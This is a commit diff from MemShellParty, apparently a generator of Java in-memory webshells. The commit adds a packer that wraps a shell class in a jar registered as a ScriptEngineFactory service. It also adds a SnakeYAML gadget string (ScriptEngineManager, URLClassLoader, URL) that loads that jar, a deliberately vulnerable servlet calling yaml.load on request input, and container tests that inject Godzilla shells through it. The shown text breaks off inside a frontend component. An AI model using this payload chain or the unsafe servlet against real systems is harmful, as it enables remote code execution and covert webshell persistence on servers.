mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support scriptEngineJar packer
This commit is contained in:
+5
-5
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
|
|||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
Packer packer = request.getPacker().getInstance();
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof AggregatePacker) {
|
||||||
|
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||||
|
}
|
||||||
if (packer instanceof JarPacker) {
|
if (packer instanceof JarPacker) {
|
||||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||||
} else if (packer instanceof AggregatePacker) {
|
}
|
||||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
} else {
|
|
||||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
+32
-7
@@ -8,11 +8,12 @@ import com.reajason.javaweb.memshell.MemShellGenerator;
|
|||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
||||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
|
||||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
@@ -21,12 +22,12 @@ import okhttp3.HttpUrl;
|
|||||||
import okhttp3.OkHttpClient;
|
import okhttp3.OkHttpClient;
|
||||||
import okhttp3.Request;
|
import okhttp3.Request;
|
||||||
import okhttp3.Response;
|
import okhttp3.Response;
|
||||||
import org.testcontainers.containers.Container;
|
|
||||||
import org.testcontainers.containers.GenericContainer;
|
|
||||||
import org.apache.commons.io.FileUtils;
|
import org.apache.commons.io.FileUtils;
|
||||||
import org.apache.commons.lang3.RandomStringUtils;
|
import org.apache.commons.lang3.RandomStringUtils;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
import org.testcontainers.containers.Container;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.utility.MountableFile;
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -107,6 +108,32 @@ public class ShellAssertion {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
||||||
String content = null;
|
String content = null;
|
||||||
|
if (packer.getInstance() instanceof AgentJarPacker ||
|
||||||
|
packer.getInstance() instanceof AgentJarWithJREAttacherPacker ||
|
||||||
|
packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) {
|
||||||
|
injectAgentJar(generateResult, shellTool, shellType, packer, appContainer);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (packer.getInstance() instanceof ScriptEngineJarPacker) {
|
||||||
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||||
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
|
Files.write(tempJar, bytes);
|
||||||
|
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||||
|
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||||
|
FileUtils.deleteQuietly(tempJar.toFile());
|
||||||
|
content = "!!javax.script.ScriptEngineManager [\n" +
|
||||||
|
" !!java.net.URLClassLoader [[\n" +
|
||||||
|
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
|
||||||
|
" ]]\n" +
|
||||||
|
"]";
|
||||||
|
} else {
|
||||||
|
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
|
}
|
||||||
|
injectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||||
|
log.info("send inject payload successfully");
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void injectAgentJar(MemShellResult generateResult, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) throws IOException, InterruptedException {
|
||||||
if (packer.getInstance() instanceof AgentJarPacker) {
|
if (packer.getInstance() instanceof AgentJarPacker) {
|
||||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||||
Path tempJar = Files.createTempFile("temp", "jar");
|
Path tempJar = Files.createTempFile("temp", "jar");
|
||||||
@@ -143,13 +170,10 @@ public class ShellAssertion {
|
|||||||
assertThat(stdout, anyOf(
|
assertThat(stdout, anyOf(
|
||||||
containsString("ok")
|
containsString("ok")
|
||||||
));
|
));
|
||||||
} else {
|
|
||||||
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
|
||||||
injectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
|
||||||
log.info("send inject payload successfully");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||||
switch (shellTool) {
|
switch (shellTool) {
|
||||||
@@ -365,6 +389,7 @@ public class ShellAssertion {
|
|||||||
case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content);
|
case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content);
|
||||||
case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
|
case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
|
||||||
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
|
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
|
||||||
|
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
||||||
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
||||||
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
||||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||||
|
|||||||
+2
-1
@@ -52,7 +52,8 @@ public class Tomcat8DeserializeContainerTest {
|
|||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass)
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,47 @@
|
|||||||
|
package com.reajason.javaweb.asm;
|
||||||
|
|
||||||
|
import org.objectweb.asm.ClassReader;
|
||||||
|
import org.objectweb.asm.ClassVisitor;
|
||||||
|
import org.objectweb.asm.ClassWriter;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/16
|
||||||
|
*/
|
||||||
|
public class ClassInterfaceUtils {
|
||||||
|
|
||||||
|
public static byte[] addInterface(byte[] bytes, String interfaceName) {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, 0);
|
||||||
|
ClassVisitor cv = new AddInterfaceClassAdapter(cw, interfaceName.replace('.', '/'));
|
||||||
|
cr.accept(cv, 0);
|
||||||
|
return cw.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static class AddInterfaceClassAdapter extends ClassVisitor {
|
||||||
|
|
||||||
|
private final String interfaceToAdd;
|
||||||
|
|
||||||
|
public AddInterfaceClassAdapter(ClassVisitor cv, String interfaceToAdd) {
|
||||||
|
super(Opcodes.ASM9, cv);
|
||||||
|
this.interfaceToAdd = interfaceToAdd;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visit(int version, int access, String name,
|
||||||
|
String signature, String superName, String[] interfaces) {
|
||||||
|
for (String itf : interfaces) {
|
||||||
|
if (itf.equals(interfaceToAdd)) {
|
||||||
|
super.visit(version, access, name, signature, superName, interfaces);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String[] newInterfaces = new String[interfaces.length + 1];
|
||||||
|
System.arraycopy(interfaces, 0, newInterfaces, 0, interfaces.length);
|
||||||
|
newInterfaces[interfaces.length] = interfaceToAdd;
|
||||||
|
super.visit(version, access, name, signature, superName, newInterfaces);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+120
@@ -0,0 +1,120 @@
|
|||||||
|
package com.reajason.javaweb.asm;
|
||||||
|
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.objectweb.asm.ClassReader;
|
||||||
|
|
||||||
|
import javax.script.ScriptEngine;
|
||||||
|
import javax.script.ScriptEngineFactory;
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/16
|
||||||
|
*/
|
||||||
|
class ClassInterfaceUtilsTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void test() {
|
||||||
|
String interfaceName = "javax.script.ScriptEngineFactory";
|
||||||
|
byte[] bytes = new ByteBuddy().redefine(EmptyInterface.class).make().getBytes();
|
||||||
|
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
|
||||||
|
String[] interfaces = new ClassReader(newBytes).getInterfaces();
|
||||||
|
assertEquals(1, interfaces.length);
|
||||||
|
assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void skipAdd(){
|
||||||
|
String interfaceName = "javax.script.ScriptEngineFactory";
|
||||||
|
byte[] bytes = new ByteBuddy().redefine(ScriptEngineFactoryClass.class).make().getBytes();
|
||||||
|
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
|
||||||
|
String[] interfaces = new ClassReader(newBytes).getInterfaces();
|
||||||
|
assertEquals(1, interfaces.length);
|
||||||
|
assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void addNewInterface(){
|
||||||
|
String interfaceName = "javax.script.ScriptEngineFactory";
|
||||||
|
byte[] bytes = new ByteBuddy().redefine(Entity.class).make().getBytes();
|
||||||
|
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
|
||||||
|
String[] interfaces = new ClassReader(newBytes).getInterfaces();
|
||||||
|
assertEquals(2, interfaces.length);
|
||||||
|
assertEquals("java/io/Serializable", interfaces[0]);
|
||||||
|
assertEquals(interfaceName.replace(".", "/"), interfaces[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static class EmptyInterface {
|
||||||
|
}
|
||||||
|
|
||||||
|
static class ScriptEngineFactoryClass implements ScriptEngineFactory {
|
||||||
|
@Override
|
||||||
|
public String getEngineName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getEngineVersion() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<String> getExtensions() {
|
||||||
|
return Collections.emptyList();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<String> getMimeTypes() {
|
||||||
|
return Collections.emptyList();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<String> getNames() {
|
||||||
|
return Collections.emptyList();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getLanguageName() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getLanguageVersion() {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Object getParameter(String key) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getMethodCallSyntax(String obj, String m, String... args) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getOutputStatement(String toDisplay) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getProgram(String... statements) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public ScriptEngine getScriptEngine() {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static class Entity implements Serializable {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-4
@@ -1,7 +1,4 @@
|
|||||||
package com.reajason.javaweb.packer.jar;
|
package com.reajason.javaweb.packer;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -19,10 +19,7 @@ import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
|||||||
import com.reajason.javaweb.packer.h2.H2JSPacker;
|
import com.reajason.javaweb.packer.h2.H2JSPacker;
|
||||||
import com.reajason.javaweb.packer.h2.H2JavacPacker;
|
import com.reajason.javaweb.packer.h2.H2JavacPacker;
|
||||||
import com.reajason.javaweb.packer.h2.H2Packer;
|
import com.reajason.javaweb.packer.h2.H2Packer;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.packer.jar.*;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
|
||||||
import com.reajason.javaweb.packer.jar.DefaultJarPacker;
|
|
||||||
import com.reajason.javaweb.packer.jexl.JEXLPacker;
|
import com.reajason.javaweb.packer.jexl.JEXLPacker;
|
||||||
import com.reajason.javaweb.packer.jinjava.JinJavaPacker;
|
import com.reajason.javaweb.packer.jinjava.JinJavaPacker;
|
||||||
import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker;
|
import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker;
|
||||||
@@ -72,7 +69,13 @@ public enum Packers {
|
|||||||
Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class),
|
Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class),
|
||||||
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
||||||
|
|
||||||
Jar(new DefaultJarPacker()),
|
/**
|
||||||
|
* JSP 打包器
|
||||||
|
*/
|
||||||
|
JSP(new JspPacker()),
|
||||||
|
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||||
|
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||||
|
JSPX(new JspxPacker(), JspPacker.class),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* BigInteger
|
* BigInteger
|
||||||
@@ -84,14 +87,6 @@ public enum Packers {
|
|||||||
*/
|
*/
|
||||||
BCEL(new BCELPacker()),
|
BCEL(new BCELPacker()),
|
||||||
|
|
||||||
/**
|
|
||||||
* JSP 打包器
|
|
||||||
*/
|
|
||||||
JSP(new JspPacker()),
|
|
||||||
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
|
||||||
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
|
||||||
JSPX(new JspxPacker(), JspPacker.class),
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 脚本引擎打包器
|
* 脚本引擎打包器
|
||||||
*/
|
*/
|
||||||
@@ -168,6 +163,9 @@ public enum Packers {
|
|||||||
H2Javac(new H2JavacPacker(), H2Packer.class),
|
H2Javac(new H2JavacPacker(), H2Packer.class),
|
||||||
H2JS(new H2JSPacker(), H2Packer.class),
|
H2JS(new H2JSPacker(), H2Packer.class),
|
||||||
|
|
||||||
|
Jar(new DefaultJarPacker()),
|
||||||
|
ScriptEngineJar(new ScriptEngineJarPacker()),
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
;
|
;
|
||||||
private final Packer instance;
|
private final Packer instance;
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
|
|||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|||||||
+1
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
|
|||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
import com.reajason.javaweb.packer.jar.attach.Attacher;
|
import com.reajason.javaweb.packer.jar.attach.Attacher;
|
||||||
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
|
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
|
||||||
|
|||||||
+1
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
|
|||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
import com.reajason.javaweb.packer.jar.attach.Attacher;
|
import com.reajason.javaweb.packer.jar.attach.Attacher;
|
||||||
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
|
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.packer.jar;
|
package com.reajason.javaweb.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package com.reajason.javaweb.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
||||||
|
import com.reajason.javaweb.packer.JarPacker;
|
||||||
|
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.jar.JarEntry;
|
||||||
|
import java.util.jar.JarOutputStream;
|
||||||
|
import java.util.jar.Manifest;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/16
|
||||||
|
*/
|
||||||
|
public class ScriptEngineJarPacker implements JarPacker {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public byte[] packBytes(JarPackerConfig config) {
|
||||||
|
String mainClassName = config.getMainClassName();
|
||||||
|
byte[] mainClassBytes = config.getClassBytes().get(mainClassName);
|
||||||
|
byte[] bytes = ClassInterfaceUtils.addInterface(mainClassBytes, "javax.script.ScriptEngineFactory");
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(bytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
|
||||||
|
targetJar.putNextEntry(new JarEntry("META-INF/services/javax.script.ScriptEngineFactory"));
|
||||||
|
targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8));
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -28,6 +28,7 @@ val filesToCopy = objects.fileCollection().from(
|
|||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation("com.caucho:hessian:4.0.66")
|
implementation("com.caucho:hessian:4.0.66")
|
||||||
|
implementation("org.yaml:snakeyaml:1.27")
|
||||||
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
import org.yaml.snakeyaml.Yaml;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.annotation.WebServlet;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/16
|
||||||
|
*/
|
||||||
|
@WebServlet("/snakeYaml")
|
||||||
|
public class SnakeYamlServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String data = req.getParameter("data");
|
||||||
|
Yaml yaml = new Yaml();
|
||||||
|
yaml.load(data);
|
||||||
|
}
|
||||||
|
}
|
||||||
Binary file not shown.
@@ -395,7 +395,9 @@ export default function MainConfigCard({
|
|||||||
onCheckedChange={field.onChange}
|
onCheckedChange={field.onChange}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
</FormControl>
|
||||||
<Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label>
|
<Label htmlFor="staticInitialize">
|
||||||
|
{t("common:staticInitialize")}
|
||||||
|
</Label>
|
||||||
</FormItem>
|
</FormItem>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
|||||||
@@ -1,16 +1,42 @@
|
|||||||
|
import { ScrollTextIcon } from "lucide-react";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
|
import CodeViewer from "@/components/code-viewer";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import { downloadBytes } from "@/lib/utils";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
|
import { Separator } from "@/components/ui/separator";
|
||||||
|
import { downloadBytes, formatBytes } from "@/lib/utils";
|
||||||
import type { MemShellResult } from "@/types/memshell";
|
import type { MemShellResult } from "@/types/memshell";
|
||||||
|
|
||||||
export function JarResult({
|
export function JarResult({
|
||||||
|
packMethod,
|
||||||
packResult,
|
packResult,
|
||||||
generateResult,
|
generateResult,
|
||||||
}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) {
|
}: Readonly<{
|
||||||
|
packMethod: string;
|
||||||
|
packResult: string;
|
||||||
|
generateResult?: MemShellResult;
|
||||||
|
}>) {
|
||||||
const { t } = useTranslation();
|
const { t } = useTranslation();
|
||||||
|
const isPureJar = packMethod === "Jar";
|
||||||
return (
|
return (
|
||||||
<div className="flex items-center justify-center">
|
<Card>
|
||||||
|
<CardHeader>
|
||||||
|
<CardTitle className="text-md flex items-center gap-2">
|
||||||
|
<ScrollTextIcon className="h-5" />
|
||||||
|
<span>{t("common:usage")}</span>
|
||||||
|
</CardTitle>
|
||||||
|
</CardHeader>
|
||||||
|
<CardContent>
|
||||||
|
<ol className="list-decimal list-inside space-y-4 text-sm">
|
||||||
|
<li className="flex items-center justify-between">
|
||||||
|
<span>
|
||||||
|
{t("common:download")} shell.jar (
|
||||||
|
{formatBytes(atob(packResult).length)})
|
||||||
|
</span>
|
||||||
<Button
|
<Button
|
||||||
|
size="sm"
|
||||||
|
variant="outline"
|
||||||
|
className="w-28"
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() =>
|
onClick={() =>
|
||||||
downloadBytes(
|
downloadBytes(
|
||||||
@@ -20,8 +46,34 @@ export function JarResult({
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
>
|
>
|
||||||
{t("common:download")} Jar
|
{t("common:download")}
|
||||||
</Button>
|
</Button>
|
||||||
</div>
|
</li>
|
||||||
|
<Separator />
|
||||||
|
{isPureJar ? (
|
||||||
|
<>
|
||||||
|
<li>{t("memshell:tips.download-jar")}</li>
|
||||||
|
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
